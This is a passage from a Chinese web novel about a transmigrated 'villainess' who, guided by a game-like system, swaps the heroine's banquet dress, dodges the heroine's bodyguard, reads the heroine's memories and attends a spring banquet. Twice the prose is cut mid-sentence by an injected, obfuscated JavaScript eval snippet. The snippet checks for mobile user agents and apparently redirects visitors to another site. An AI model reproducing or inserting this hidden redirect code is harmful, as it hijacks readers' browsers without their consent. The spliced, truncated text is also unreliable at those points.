柳清圆忙解释道:“父亲,这位是阿济。我在来京路上遭遇流寇,幸得阿济相救,才保住性命。只是阿济在打斗中伤了头,如今神智有些不清,只记得要保护我。他无家可归,我实在不忍弃他于不顾,便擅自做主带他回来了……” 说着,她又垂下眼帘,声音越来越小:“若是府中不便,我、我可以带阿济另寻住处……” “胡闹!”柳尚书打断她,“你一个姑娘家,带着个来历不明的男子另住,成何体统!” 柳清圆肩膀一缩,眼中泪光闪烁:“是清圆考虑不周……” 柳知微适时插话,语气轻快:“父亲何必动怒。我看这阿济虽然脑子不太灵光,身手倒是不错。今日在崖边,我那两个丫鬟想扶姐姐站稳,他以为我们要伤害姐姐,两下就把人放倒了。” 她顿了顿,意味深长地看了柳清圆一眼:“姐姐身边有这样一个忠心耿耿的护卫,倒是件好事。不如就让他留在府中,专门负责保护姐姐的安全。一来全了姐姐报恩的心意,二来也能让父亲安心。” 柳尚书沉吟片刻。他确实不放心柳清圆单独住一个院子,若是配个护卫,倒也妥当。至于这少年来历……他打量了谢济泫几眼,见对方目光呆滞,确实不像心思深沉之人。 “也罢。”柳尚书终于点头,“就按知微说的办。阿济可以留下,但须得签了死契,平日里只能在清圆的院子附近活动,不得随意在府中走动。” “多谢父亲!”柳清圆喜出望外,连忙行礼。 “对了,”柳知微又说,“阿济这名字太随便了。既然入了我们柳府,总得有个正经名字。” 她故意顿了顿,打量了一眼少年洗得发白的衣角,慢悠悠地说,“我看你来的路上为了半个馒头,跟野狗争得倒是颇有气势。那股子‘豪快’劲儿,府里倒是少见。” “不如就叫‘嘉豪’吧,嘉奖的嘉,豪强的豪。既沾了贵气,也配得上你那份……不肯吃亏的品格。” 旁边立着的小丫头没憋住“噗嗤”一声,又赶紧用袖子掩住了嘴。 柳清圆却不显山不漏水,眼神微动,随即笑道:“二妹妹取得好名字。阿济,还不快谢谢二小姐赐名?” 还是“阿济”。 一直沉默的谢济泫这才抬起头,茫然地看了看柳清圆,又看向柳知微,半晌也只是“嗯”了一声。 安排完谢济泫的事,柳尚书又嘱咐了几句,便让众人散了。柳知微懒得再装姐妹情深,直接回了自己的院子。柳清圆则在管家的带领下,往听雨轩去了。 听雨轩位于柳府东侧,虽不算最豪华的院落,却也清雅别致。院中植了几丛翠竹,一角还有个小小的荷花池。 柳清圆站在院中,静静打量四周。谢济泫默默地跟在她身后,如同一道影子。 “这里比我想象的要好。”柳清圆轻声说,不知是对谢济泫说,还是在自言自语。 谢济泫没有回应,只是目光扫过院墙、屋檐、树木,像是在审视这里的安全程度。 柳清圆转身看他,忽然笑了:“今天多谢你。不过下次,若非必要,不要轻易出手。留着我那二妹妹,她可能还有些用处。” 她想起柳知微在崖边那番做戏,回府后颠倒黑白的说辞,还有看似随意实则精准的安排。这个“妹妹”,似乎并不像表面那样简单粗暴。 “我会小心应对的。”柳清圆轻声说,眼中闪过一丝光亮,“既然来到了这里,我就一定要找出那个答案。” “阿济,我也会帮你找到你那魂牵梦萦之人,就像当初我把你炼成''隗''时所答应的那样。” 5. 月黑风高勾引猫猫 晚风拂过,竹叶沙沙作响。夜色渐浓,柳府各院的灯火次第亮起,将这个夜晚点缀得温暖而安宁。但所有人都心知肚明,这份平静之下,暗流正在悄然涌动。 而在自己的院中,柳知微正翘着腿躺在软榻上,一边吃着葡萄,一边听芝麻汇报着过去的收获。 [完成“下马威”剧情,恶毒女配人设值+350,荣获“尖酸刻薄”称号,奖励积分2100,奖励解锁金手指:“赛半仙”!] [“赛半仙”技能解析:通过肢体接触,可短暂查看目标人物的记忆碎片与不为人知的过往,当前等级:初级。单次使用消耗100积分,接触时间需持续三秒以上。] [后续可通过积分兑换进行升级,解锁更长时间、更深层次的记忆读取,以及额外附加功能。] 柳知微挑了下眉:“摸一下就能看到人家的记忆?这倒是有点意思。” [实用程度评估:四颗星。建议宿主善加利用。] “那要是摸错了人呢?”柳知微想了想,又补了一句,“比如摸到个路人甲,看到一堆鸡毛蒜皮的日常,那不就白瞎了?” [技能反馈内容与被接触者的关键剧情关联度呈正相关。日常人物所展示的亦可能是推动剧情的隐藏信息,请宿主自行甄别。] 柳知微嗤笑一声:“说得倒好听。说白了就是得靠我自己判断呗。” [请宿主继续努力,推进主线剧情。] 转眼快一个月了。转正之后没了系统管束,她彻底放飞自我,天天摆烂。那些半夜催人挑水砍柴、跑听雨轩骂主子骂奴才的破任务,她一概不理,倒也没出什么乱子。只是关键剧情绕不过去,再怎么苟,第一个小高潮还是来了,女配下药的那套经典桥段。 柳知微把葡萄籽吐到碟子里,脑海中不由自主地思索起接下来的春日宴剧情。 原著里,春日宴上,别人吃席嗑瓜子儿,人前小白花女主前恶女柳莺娘就要逮住这次机会狠狠勾搭自己的姐夫。 相府独子曾与柳家大女儿订下婚约,这原是与“柳知微”的婚约,然而自柳清圆回来后,柳尚书便有意无意想将这桩婚事按在柳清圆身上,以此弥补亏欠。 原主早有预感,折腾来折腾去,想出一个歪主意。 那就是——生、米、煮、成、熟、饭。 春日宴酒醉迷情,女配对着心上人苦诉衷肠,两人拉拉扯扯的场面被柳清圆当场撞破,还解了男主身上的迷情药,结果这位男猪脚直接对柳清圆一见钟情,婚事也顺理成章。 女配心心念念的心上人清醒之际,第一反应就把原主踹进沟……哦不,池子里。一日之内,柳莺莺就成了全京城的笑柄。 柳知微冷笑一声,随手把剧本扔到桌上:“这种角色,谁爱演谁演。” 她受够了。永远是最完美的工具人,永远在最关键的时刻降智,永远为了衬托女主的“清醒”而疯得毫无尊严。五位男主里,原主喜欢的那位甚至连名字都排不上号,在剧情里最大的作用就是让女配哭着追问他“你为什么不爱我”然后被女主狠狠虐一回。 “不是不能输,”柳知微靠在椅背上,闭了闭眼,“是不能输得这么难看。” 她可以接受女配没有主角光环,但不能接受女配没有脊梁骨。 既然这次拿的是高自由度副本,那她可要好好大干一场了。感受到她的想法,芝麻战战兢兢地小声说:【宿主大大,目前暂时不能下死手哦,这个小男配关系到后面柳知微“买凶劫婚”的关键节点,还会影响那个忍辱负重、邪魅狂狷的异族皇子出场,您可千万要悠着点啊。】 柳知微盈盈笑着:“我有这么凶吗?” 系统:【……】您自己看看阴不阴? 恰好此时,她的丫鬟怀袖蹑手蹑脚地捧着一件新衣服走出院子,老远就绕开柳知微走,跟避瘟神似的,竭力避开柳知微的注意。 但这鬼鬼祟祟的样儿……柳知微很难当作什么也没有发生。 此地无银三百两。 就在怀袖好容易憋着口气挪到院子门口的时候,柳知微叫住了她,惊得她一激灵。 “站住。”柳知微往嘴里扔了颗葡萄。 她歪在软榻上打了个哈欠,听丫鬟怀袖颤声回话。 “小姐,管、管事的婆子错送来的……是件正红裙子。料子粗,绣的牡丹也呆板,奴婢这就将它扔出去!” 这里的丫鬟都是受过教训的,摸透了主子的喜恶,更晓得自家小姐眼里揉不得半粒沙子。她之前亲眼见识过柳知微在断崖上那一番作秀,这会儿连大气都不敢喘一下。 柳知微吐出籽,眼皮都没抬:“料子多粗?” “就、就是府里给粗使下人做里衣的那种杭绸,看着光,一摸就涩手。”怀袖越说声越小,“花色也艳得俗气,牡丹像用红墨坨子按上去的……” “哦。”柳知微终于转了转眼珠,看向那团被揉皱的红,“是挺难看。” 怀袖松了口气,以为主子要发话扔了。 【触发小任务:调换女主柳清圆的春日宴正装。夜行衣已备好,请宿主即刻行动!】 【奖励:女主性格崩坏剧情线索一条。】 柳知微暗自叹口气,该来的果然还是来了,上工! “包起来。” 怀袖一愣:? · 春日宴前夕,听雨轩。 夜色泼墨时,柳知微一身黑色,揣着包裹鬼鬼祟祟地摸到听雨轩。鞋底蹭上湿泥。 晚上的东院比她的西院清冷得多,廊下只悬两盏昏黄的风灯,在夜风里晃。 柳清圆喜静,虽然柳尚书给她配了好多丫鬟,都快要赶上柳知微的配备用度了,但是她只留下了两个丫头和她带来的那护卫。 柳知微捏着下巴。那护卫叫什么来着? 原著里,为了避开那个护卫,二小姐柳莺莺身娇体贵,狼狈爬着狗洞进来,但是作为穿越班唯一一个经历了10086世实习期的优秀毕业生,柳知微还是略懂些拳脚。 换件衣服而已,alittlevegetable,她根本没在怕的! 柳知微猫似地贴墙移步,屏息藏在廊柱后阴影里,粗糙墙壁刮过手背,留下浅红痕,就快要摸到柳清圆的卧房后窗。 后方一阵掌风猝不及防地袭来,直接将她掀翻在地。 这副身子本就无任何功力,还弱得跟朵娇花似的,这一击还是直冲着她的命来的,柳知微后撤时借力缓冲,分散了部分伤害,才不至于重伤。 依旧是那张阴沉的脸,毫无生气。他如一件纯粹的人形兵器,杀气几近凝成实体,漆黑的瞳孔里,只余对战斗的本能渴望与嗜血。 “潜入者……杀、无、赦……” 芝麻:[要不咱还是撤吧宿主?] 柳知微:“……威武不能屈!” 谢济泫抬起头来,他周身散发出一股暴烈的气场,所有的狠戾与杀气,骤然向内收敛,凝于一线。平静眼眸里似乎翻滚着喷薄而出的熔岩。 他正在将全部力量压进下一击。 芝麻:[……] 柳知微:…… “……狗洞在哪儿?” 就在这电光石火间,柳知微立地脚底抹油,身形如鬼魅般“嗖”地一下闪没影了。 而当她从狗洞麻利钻出来的时候,那人却并没有追上来,所有的力量瞬间收拢,草木簌簌,鸟雀未惊,似乎只是一阵轻柔的风拂过。 谢济泫木木地眨了几下眼,继续巡视着院子内部,仿若无事发生。 东院高墙外,繁星点点,远处青林翠竹交映,绿叶华滋,却更衬得眼前这堵墙冰冷无情。 柳知微默默抹了一把汗:“系统,这狗洞是有什么玄机吗?”这么强个杀手在这,原著里柳莺莺钻狗洞就成功了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576294|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不离谱吗? 【滴!路线规划完毕!首选“经典狗洞”,安全系数五星!】 【系统分析:在那位眼里,钻狗洞≈真狗行为,自带“战五渣”隐身滤镜,危险值归零!】 【温馨提示:姿势越狗,安全越有!】 柳知微双手叉腰,来回踱了两步。事业心极强的恶毒女配绝不认输! “嘉豪是吧?”她活动了一下手腕脚踝,眼底闪过一丝志在必得的光,“系统,上PLANB!” 【好嘞宿主大大!】 她并指按在自己眉心,心中默念法诀,实则只是在商城里买了一个召唤符,准备来个声东击西。 “天灵地灵,听我号令:搞鬼速通!要钱没有,要路一条。黄泉府道,尔等开好!” 【消耗召唤符一张,积分-5。】 “嗷呜!” 指间忽地一沉,一道流光闪过,一团毛茸茸的东西砸进怀里。柳知微低头,对上一双惊惶的异色竖瞳。橘白相间的猫崽子炸着毛,粉嫩肉垫下意识按在她鼻尖上,耳尖还泛着诡异的淡金色。 “咿——呀——!”一声充满痛苦怨念的尖啸骤然炸响,刺得柳知微耳膜生疼,三魂七魄都要离体了。 这是一声很标准的鬼叫。 她毫不犹豫,屈指在那毛茸茸的脑壳上轻轻一敲。 “清醒点,别嚎了。”声音里带着不容置疑的压迫感,“你现在是猫,是一只猫!” 猫儿被敲得晕头转向,甩了甩脑袋,总算看清眼前人。 它浑身一僵,眼泪说来就来:“啊啊啊!女侠饶命!俺上无老下无小,除了偶尔吓唬人混口香火,没干过啥伤天害理的事啊!您这么善良美丽、英明神武,就高抬贵手放过俺吧!” 一只猫口吐人言,还作揖求饶,场面着实诡异。柳知微却见怪不怪,伸手捏住它后颈皮,熟练地挠了挠它的下巴。 “一只小鬼?” “以后你就叫洛洛了。”她宣布。 “喵?”猫儿——洛洛抬起头,异色瞳里还有些懵懂。 “我召你出来,自然有用。说说,你能为我做什么?” 洛洛舒服地在她怀里蹭了蹭,细声细气:“主人请尽情吩咐喵喵哦~” 柳知微勾唇,指尖点了点它的湿鼻子:“乖,待会儿听我指挥。” · 夜色渐深,柳知微蹲在暗处,耐心等到月华初上、阴气渐盛之时,才悄然潜至听雨轩高墙下。 墙头隐约传来守卫巡夜的脚步声。她屏息凝神,垂在袖中的食指与中指悄然一并,一缕灰蒙蒙的阴气如细蛇般自指尖渗出,悄无声息地没入斑驳墙体。 阴气入墙,了无痕迹。 “……”谢济泫依旧沉默着,眼角瞥见墙角枯树下,几片落叶无风自动,打着旋儿腾起,沙沙作响,恍若有人轻踏而过。 谢济泫注意力被吸引,下意识扭头望去。 “喵呜~”那阴气化成的猫儿舔着爪子。 就在这一瞬,墙下的柳知微动了。她身影如一抹被月光稀释的薄烟,足尖在墙砖缝隙间轻点数下,腰肢借力一旋,已悄无声息地飘上墙头,落地时裙裾微扬,未染尘埃。 柳知微已隐入更深暗影,暗自召唤它自墙内钻回,缠绕上她的指尖,然而那阴气迟迟没有回来。 柳知微低头一瞄,只见不远处的月华下,那人身形一晃,怀中抱着一只猫儿,姿态清冷出尘。 猫儿起初还挣扎,爪子勾出几道丝线,很快便在舒适的抓挠下软化,喉咙里发出咕噜声,连抵在他虎口的小尖牙都收了起来。 谢济泫将它抱稳,一下下顺着毛,直到它彻底瘫软成一滩猫饼。 “喵喵~”谢济泫竟然低头用下巴蹭了蹭那只橘猫,然后席地而坐,随手扯了一根狗尾巴草逗得猫儿直打滚。 柳知微:“?” 芝麻:? 6. 青梅竹马忆少时 虽然意外,柳知微也不再多想,一心以计划为上。 她摸到柳清圆存放衣物的厢房后窗。窗栓老旧,薄铜钗一拨便松。屋内弥漫着樟木与熏香的味道,借着漏进的微光,她很快找到了那件挂在檀木衣架上的礼服。那是一件真正的正红织金云锦,彩绣辉煌,在昏暗中仍流着华贵的光泽。 柳知微迅速调换,将粗糙的那件仔细挂好,华贵云锦裙塞进包袱。做完这一切,她总算松了一口气。 正要原路返回,经过庭院时,她下意识抬头瞥了一眼主屋屋顶,整个人霎时定住。 屋脊上坐着柳清圆。 她心头警铃微响。一抹雪色绫纱垂落,在月光下泛着冷泽。柳清圆不知在那趴了多久,广袖铺散,苍白凄美的脸隐在阴影里,正静静看着她。 见柳知微抬头,她嘴唇微动,似乎想说什么,身子却忽然一软,直直从墙头栽下。 柳知微瞳孔一缩,来不及多想,身形疾掠上前,稳稳将人接在臂弯。 柳清圆靠在她怀里,睫毛剧烈颤抖,睁开眼时眸中惊惶未散,冰凉的手指死死攥住柳知微的袖口,声音压得极低,却字字清晰。 “……火……是火……” 她死死攥着柳知微的袖口,像是抓住救命稻草,声音破碎而颤抖,带着梦魇深处的恐惧:“爷爷、婶娘……好多血……” 柳知微僵在原地,怀里的躯体轻得像片羽毛,却在剧烈地发抖。月光下,柳清圆苍白的脸上泪痕宛然,唇瓣失了血色,喃喃着那些零碎的、血腥的词语,显然陷在极可怕的梦境里。 芝麻的声音适时响起:【滴!检测到女主柳清圆处于严重梦游状态,意识游离,伴有创伤记忆闪回。危险评级:低(对宿主暂无直接威胁)。】 柳知微松了口气,原来是梦游。她试着轻轻抽了抽袖子,没抽动。柳清圆攥得更紧,甚至无意识地往她怀里缩了缩,带着哭腔含糊道:“好大的火……火……” “……” 柳知微心里那点恶毒女配的算计暂时熄了火。算了,跟个梦游的病人计较什么。 她叹了口气,调整了一下姿势,让柳清圆靠得更舒服些,另一只手犹豫了一下,还是生疏地、轻轻地拍着她的背,像哄孩子似的。 “我们就是火,我的心是火?” 芝麻:[……宿主,对方拒绝了您的K歌邀请哦~] 柳清圆的眼泪流得更凶,依旧拽着她的袖子不放,含混地呜咽。 夜风寒凉,总不能一直在这儿站着。柳知微想把她弄回屋里,又怕动作太大惊醒她,梦游的人被强行唤醒据说不好。正为难间,她想起自己过去听过一些安神的歌谣,用来哄孩子的,就是不知道对女主会不会有用了。 死马当活马医吧。 她清了清嗓子,回忆着不知哪一世听过的、模糊不成调的摇篮曲,声情并茂地朗诵起来。 注意,是“朗诵”。 “退!退!退!熬夜退散!发际线千万要平安!退!退!退!甲方退散!需求请用人话谈!退!退!退!PUA退散!今天我踏马要准时下班!” 声音低哑,谈不上悦耳,但在寂静的夜里,配合着一下下轻缓的拍抚,竟奇异地有了一点安抚人心的力量。 柳清圆的抽泣声渐渐小了,紧攥的手指一点点松开,身体彻底软下来。她靠在柳知微肩头,苍白的脸颊上泪痕未干,眉头却舒展开来,仿佛真的从那可怖的梦魇中挣脱,沉入了安稳的睡眠。 柳知微口干舌燥,见她终于睡熟,这才小心翼翼地、半抱半扶地将她送回卧房的床边,盖好被子。 做完这一切,她抹了把额头上并不存在的汗,拎起装着云锦裙的包袱,像来时一样,悄无声息地溜出了听雨轩。 · 第二日清晨,听雨轩。 柳清圆在鸟鸣声中醒来。她坐起身,有些恍惚。昨夜似乎和往常一样,眼前是火光、哭喊和血色,但后半段却模糊了,只隐约有一种……被温柔包裹的感觉? 好像是谁在跳大神为她作法? 头并不痛,反而有一种难得的、睡足后的清爽。这很反常,自八岁时那个噩梦开始后,她几乎从未有过一夜安眠到天明。 她披衣起身,推开房门。 晨光熹微中,她看见谢济泫背对着她,坐在院角的石凳上。那个总是散发着生人勿近气息、如同兵器般冰冷的护卫,此刻怀里抱着一只橘白相间的猫儿,正低着头,用一根狗尾巴草极其耐心地逗弄着。猫儿四仰八叉地躺在他腿上,粉嫩的爪子去够那草尖,喉咙里发出舒服的咕噜声。 谢济泫的侧脸在晨光里似乎柔和了那么一丝丝,虽然他依旧没什么表情。 柳清圆脚步微顿,眼底掠过一丝极淡的诧异。她走到近前,轻声问:“阿泫,你……在这里坐了一夜?” 谢济泫闻声抬头,看到她,迅速站起身,将猫儿轻轻放到地上,恢复了惯常的沉默与恭谨,只是点了点头。 猫儿“喵”了一声,蹭了蹭他的裤脚,才颠颠儿跑开。 他又忙不迭去捉那只猫儿。橘白色的毛团在院子里玩耍,带起满庭簌簌叶浪。谢济泫学着猫儿的样子在泥地里打了个滚,溅起的水珠沾湿了袍角。 柳清圆的视线落在那一人一猫身上,最终什么也没问。 而她不知道的是,此刻西院的柳知微,正翘着腿,一边检视着那件华贵夺目的正红云锦裙,一边听着芝麻的提示音。 【小任务“调换女主春日宴正装”已完成!奖励发放:获得女主性格崩坏剧情线索一条。检测到与女主发生亲密接触,“赛半仙”技能已激活。首次使用免积分,获得一次查探女主记忆的机会。】 柳知微捻了捻光滑冰凉的锦缎,用那双通灵的眼睛看着这衣服,满心欢喜地掂量着它的价值。 [云锦牡丹裙+1,兑换白银500两,当前小金库余额:白银1220两] 赚翻啦! 然而还没来得及高兴,柳知微便觉一阵天旋地转,整个人被强行拖入梦境,不由自主地打了个寒颤。 梦境来得突兀又真切。 柳知微发现自己站在一条清浅的溪流边上,溪水潺潺,两岸是低矮的土墙农舍,远处有炊烟袅袅。空气中弥漫着青草和泥土的气息,还有一丝若有若无的血腥味。 这是越家溪。 她还没完全反应过来,就听见前方传来一阵低沉的咆哮。 一头体型硕大的山兽从溪畔的灌木丛中扑了出来,浑身灰褐色的鬃毛炸开,獠牙外翻,双目赤红,直直朝着溪水中一个小孩子的背影扑去。 那孩子看起来七八岁的样子,整个人呆呆的,野兽扑过来他也不躲不叫,脸上什么表情都没有。一下子被按倒在地,也不挣扎,像块木头似的任由野兽撕咬,直到鲜血淋漓。野兽吃饱了,心满意足地舔了舔爪子。 看着那破破烂烂的尸体,柳知微心里咯噔一下。 一道纤细身影如箭掠过,彼时的柳清圆比现在还要小上好几岁,身量尚未长成,穿一件洗得发白的青色短衫,袖口挽到小臂,露出两截细瘦却线条分明的手腕。她赤着脚踩在溪石上,脚尖一点,整个人便横插到了小孩子身前。 山兽扑至。 柳清圆侧身,避开那足以撕裂喉管的利爪,同时右臂暴起,五指攥拳,一拳砸在了那畜生最柔软的咽喉上。 骨裂声闷响。 那山兽连惨叫都来不及发出,整个庞大的身躯在空中一僵,随即如同破麻袋般横飞出去,砸进溪水里,溅起一人多高的水花。浑浊的溪水瞬间被染红了一大片。 它抽搐了两下,不再动弹。 干净利落,一拳毙命。 柳清圆收回手,低头看了一眼指节上沾的血,随手在衣摆上擦了擦,这才转头看向身后的少年。 “阿济,我们回家吧。”她的声音不大,甚至称得上温和,和方才出手时判若两人。 那少年呆呆地点头,嘴唇翕动了几下,却发不出任何声音。他身上依旧挂着烂肉,甚至能看见里面的白骨,可在那巨大的伤口处,柳知微分明看到,新的肉芽正在悄然生长。 柳清圆弯了弯唇角,似乎想笑一下安抚他,但那笑意还没成形就消散了。她抬手拍了拍少年的肩膀,力道很轻,像是在拍一只受惊的小动物。 “没事了。” 她说完后,便转身走向溪边,蹲下来洗手。动作不紧不慢,仿佛刚才打死一头猛兽不过是拍死了一只苍蝇。 柳知微站在梦境的边缘,脚底发凉,脑子里翻来覆去只有一个念头:转正后的第一个任务,怕是要砸。 她把系统给的那份资料翻来覆去看了三遍,越看越觉得不对劲。柔弱小白花女主?柔弱个屁。她现在站在这儿,看到的剧情跟资料里写的完全是两码事。 人设崩成这样……在她来之前,这破地方到底发生了什么? 完了,她要失业了。 历经10086世才好不容易转正,结果转正后就是让她来收拾烂摊子的? 被失业的焦虑折腾得几乎一夜没睡的柳知微,顶着眼底沉甸甸的黑眼圈,打着哈欠爬起来补妆。 对着铜镜铺了厚厚一层白粉,柳知微笑一笑便似纸人回魂。 柳知微很满意,反正她今天也不是要去撩人的。 [宿主大大,您准备怎么做?] 镜中的倒影在苍白粉黛下看不出波澜,柳知微慢慢晕开艳红的口脂,声音轻得像在说给镜中人听。 “戏本子不都写好了?我荒唐胡闹,她周全得体。最后皆大欢喜,她得良缘佳婿,我担千秋骂名。”她抬起眼,似笑非笑,“至于这黑手要怎么下……你且等着看。” “黑锅么,”她轻轻笑了一声,“总不能白背。” 系统合理怀疑柳知微要黑化了,于是自作主张扣了一点积分,冲她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别端着了。”他说,语气里带着点兄长的随意,“今日不是要去赴宴?带上我,这东西就归你。” 柳知微瞥了眼那锦囊,又抬眼看他,心中早已清明,这便是剧情绕不开的那个坎。 半月前,她托沈流商从江南捎东西,明面上说的是胭脂水粉、养颜方子,实则藏着另一层心思。那锦囊里的合情药,她寻了很久,药力猛烈,能叫人神智昏聩,只剩下情欲之念。按剧本后来事败,原主神思错乱之下,反咬一口,说是沈流商下的药。至此,两人恩断义绝。 少年眉目舒展,神色从容,眼底却藏着一点狡黠的光,这副“我吃定你了”的笃定模样,倒真像是从小到大把她拿捏惯了的人,让柳知微很是不耐。 “万一我不感兴趣呢?”她说。 沈流商没答话,只将那锦囊轻轻搁在石桌上,推到她手边,而后退开半步,负手而立,目光落在远处的花树上。 “那便不感兴趣。”他说,“左右你若是改了主意,我还在树上。” 柳知微垂眸看着那只锦囊,几乎同时,她眼前浮起几行半透明的字。 【叮——关键人物‘沈流商’接触。宁都侯世子,五大男主之一,与柳知微青梅竹马,自幼以兄长自居。表面沉稳端方,内里顽劣难驯,假笑怪白切黑,令人防不胜防。】 【人物描写:心性成熟,不轻易受人左右。兄妹式的羁绊是他最大的破绽,但也可能成为最大的变数,爱极亦同恨,恶深非过情,不好得罪,人设给到“夯”!】 五大男主之一?柳知微目光微妙地扫过面前这个神色淡然、把桀骜藏得滴水不漏的少年。他和那位心思深沉的嫡姐柳清圆? 妙。 她伸手拿过锦囊,指尖轻轻一捏,没急着打开,而是站起身,理了理裙摆,朝前走了两步,又回头看他。 “还不走?”她说,语气里带着点笑意,“再磨蹭,我那马车上的位置就得留给树上的鸟雀儿了。” 沈流商怔了一瞬,随即低低笑出声,抬脚跟了上来。他走得从容,恰好与她并肩。 “莺莺。”他忽然开口,声音压得低了些,带着一丝玩味。 柳知微脚步未停,偏头看了他一眼:“再喊一声,我割了你的舌头。” “你今天确实不太一样。”少年侧脸线条分明,唇角噙着的那点笑意若有若无,沉稳的皮相底下,分明藏着一条不安分的尾巴。“以前那个跟在我后面喊‘沈哥哥’的小丫头,可不会这么跟我说话。” “人总是要长大的。”她嘲笑着回道,“沈哥哥。” 沈流商脚步微顿,随即若无其事地继续往前走着,到底没忍住,伸手在她发顶轻轻一拍,“我去了江南十年,乖妹妹怎么就变得这样娇蛮了?” 那一下拍得极轻,带着几分旧日里熟悉的亲昵,又恰到好处地保持着一个“兄长”该有的分寸。 “以后对着我,说话客气点哈。” 7. 新月未有团圆意 路上,沈流商的嘴就没停过。 从东街猎场讲到西市奇珍,最后重点落在昨日抢到的一只“五彩奇鸟”上。 “一百两!小爷我眼都不眨!”他眉飞色舞,总归是有些少年心性在,“别的买家差点就要跟我打起来了,结果他家主子是个讲理的,让给我了。那只鸟可神了……待会儿宴上给你开开眼!” 沈家四口在江南住了十年。沈家女儿从前常与柳知微作伴,听说幼时发过一次高烧,之后便有些神志不清。十年后重逢,沈家女竟一朝神智清明。沈铷这才得以回京,受封宁都侯。紧接着一道圣旨,将沈家女指婚靖王府,一时间风头无两。而沈流商因为游学便回来得晚些。 “一百两买只鸟,”柳知微慢悠悠道,“怪不得楼姨母又要赶你。” “这是识货!”沈流商,随即又神秘兮兮压低声音,“说真的,你跟你那位刚回来的大姐姐,处得怎样?是不是也跟你似的……”他做了个张牙舞爪的鬼脸,“‘骄横跋扈’?要真是,柳家果真是‘双煞’临门!” 柳知微想起昨晚上来回折腾,又想起女主一拳打死一只凶猛山兽,忽的微微一笑。 “目前,双方死伤为零。” 沈流商:“???” 柳知微慈爱地拍了拍他的肩:“孩子,好奇心害死猫哦。” 沈流商依旧笑着,眼底却掠过一丝幽光:“柳莺莺,若是你日后受了委屈,我沈家总有个地方能替你说话。” 柳知微一笑。竹马男二啊,这份温柔还是留给女主吧! 马车在宁都侯府前停下。 柳知微掀帘下车,回身却见沈流商已经利落地从另一侧翻了出去。 他踩着车辕,借力跃上侯府外墙,动作行云流水,显然不是头一回。玄色的衣角在墙头一闪,人已稳稳落在院内,只探出半个脑袋,对柳知微比了个噤声的手势。 门房小厮正低头打盹,浑然不觉自家世子爷方才从自己头顶飞过去了。 柳知微:“……” 她抬头望向府门高悬的匾额。 “沈府”两个金字,在春阳下有些刺目。 就在这一瞬,心口毫无征兆地一缩,泛起细密的、陌生的痛楚。 【剧情提示:此地亦是命运歧途之始。原主将于宴后池畔,‘偶遇’封瑾遥,孤注一掷,投怀送抱,终至身败名裂。】 柳知微按住心口,深吸一口气,将那点残留的悲戚压下去,捏了捏腰间的锦囊。 “恶毒女配,”她低声自语,眸光渐冷,“就该有恶毒的样子。” 不过她可不打算就此献身。 她拢了拢衣袖,款款从正门走入。 院内,沈流商已经整好了衣冠,负手立在花厅廊下,神色从容得像是一直等在这里。见柳知微进来,他微微颔首,温声道:“妹妹来得倒快。” 方才翻墙的人,仿佛不是他。 “母亲在前厅待客,”他自然地引路,步伐不疾不徐,“妹妹自便便是。那只鸟我让人送去你席上,权当解闷。” 顿了顿,他偏头看柳知微一眼,唇角笑意温和又妥帖:“别推辞。左右不过是个玩意儿,不值什么。” 值不值,两人心里都清楚。 “那就多谢表哥了。”她垂下眼睫,乖巧应道。 沈流商满意地点点头,转身离去。 府内,已是另一番天地。 春日宴,名不虚传。衣香鬓影,觥筹交错,笑声与酒香酿在暖风里,醉了一池春水碧波。 柳知微目光扫过人群,轻易找到了被簇拥着的楼夫人。那是一位与原主母亲义结金兰、传闻中曾为夫君披甲执锐的奇女子。她衣着简素,仅以青玉簪绾发,皱纹已爬上眼角,但姿态从容大方,自有一种历经风霜后的豁达光彩。 楼夫人也看见了她,温婉一笑,竟主动拨开人群走来。 “知微见过楼姨母。”柳知微行礼,被一双手稳稳扶住。 “好孩子,快让我瞧瞧。”楼夫人握住她的手,眼里是真切的怜爱,“十年未见,这气色还是弱了些……可是柳府下人伺候不尽心?” 她说着,目光已寻到躲在人后探头探脑的沈流商,语气顿时一变,“臭小子!又一夜未归?待会儿再跟你算账!” 沈流商脖子一缩,溜得更远。 柳知微乖巧应答,心思却已飞向宴席布局。她需要一个……不起眼,却能纵观全局的位置。 恰在此时,又有贵客至,楼夫人不得不暂去招呼,只再三叮嘱宴后一叙。 沈流商趁人不备,又溜了回来,不疾不徐地指了指前方一个视野极佳的上座,声音压得低,语气却笃定:“那个位置,我给你留着。放心坐,不会有人为难你。” “多谢美意。”柳知微打断他,裙裾轻移,已翩然走向最末一排的角落,款款落座,“我啊,偏爱这‘罚酒’的座位。” 沈流商微微一怔,倒也没有多言,只略一颔首,像是在思量什么。 “你的哪那只鸟呢?”柳知微托腮,遥望满园喧闹,声音轻得只有两人能听清,“一百两?” 沈流商听罢,嘴角抽了抽,也不再追问。他把一直拎着的鸟笼往她桌上一搁,声音沉稳:“喏,开眼吧。”说完,转身朝那“好位置”走去,步履从容,已是一副侯府世子的从容模样。 桌上,金丝鸟笼里,一只羽毛斑斓的雀儿歪头,豆大的黑眼珠与柳知微对上。 “叽?” 柳知微伸出指尖,隔着笼子虚虚一点。 这时,桌上的那只五色鸟蔫头耷脑地,看着很没精神,看来是饿昏了头。 柳知微纳闷地咬着瓜子仁,把壳丢在那鸟的食槽里。 被迫吃别人唾沫的高贵品种鸟:“……” “叽叽!”它抓准机会啄了柳知微一下,表达它的愤怒。 啄的不重,但破了皮。 柳知微笑容和善,拎起笼子,晃了又晃,把那只鸟弄得晕头转向,眼前星光闪闪,从木棍滚到笼子底面。 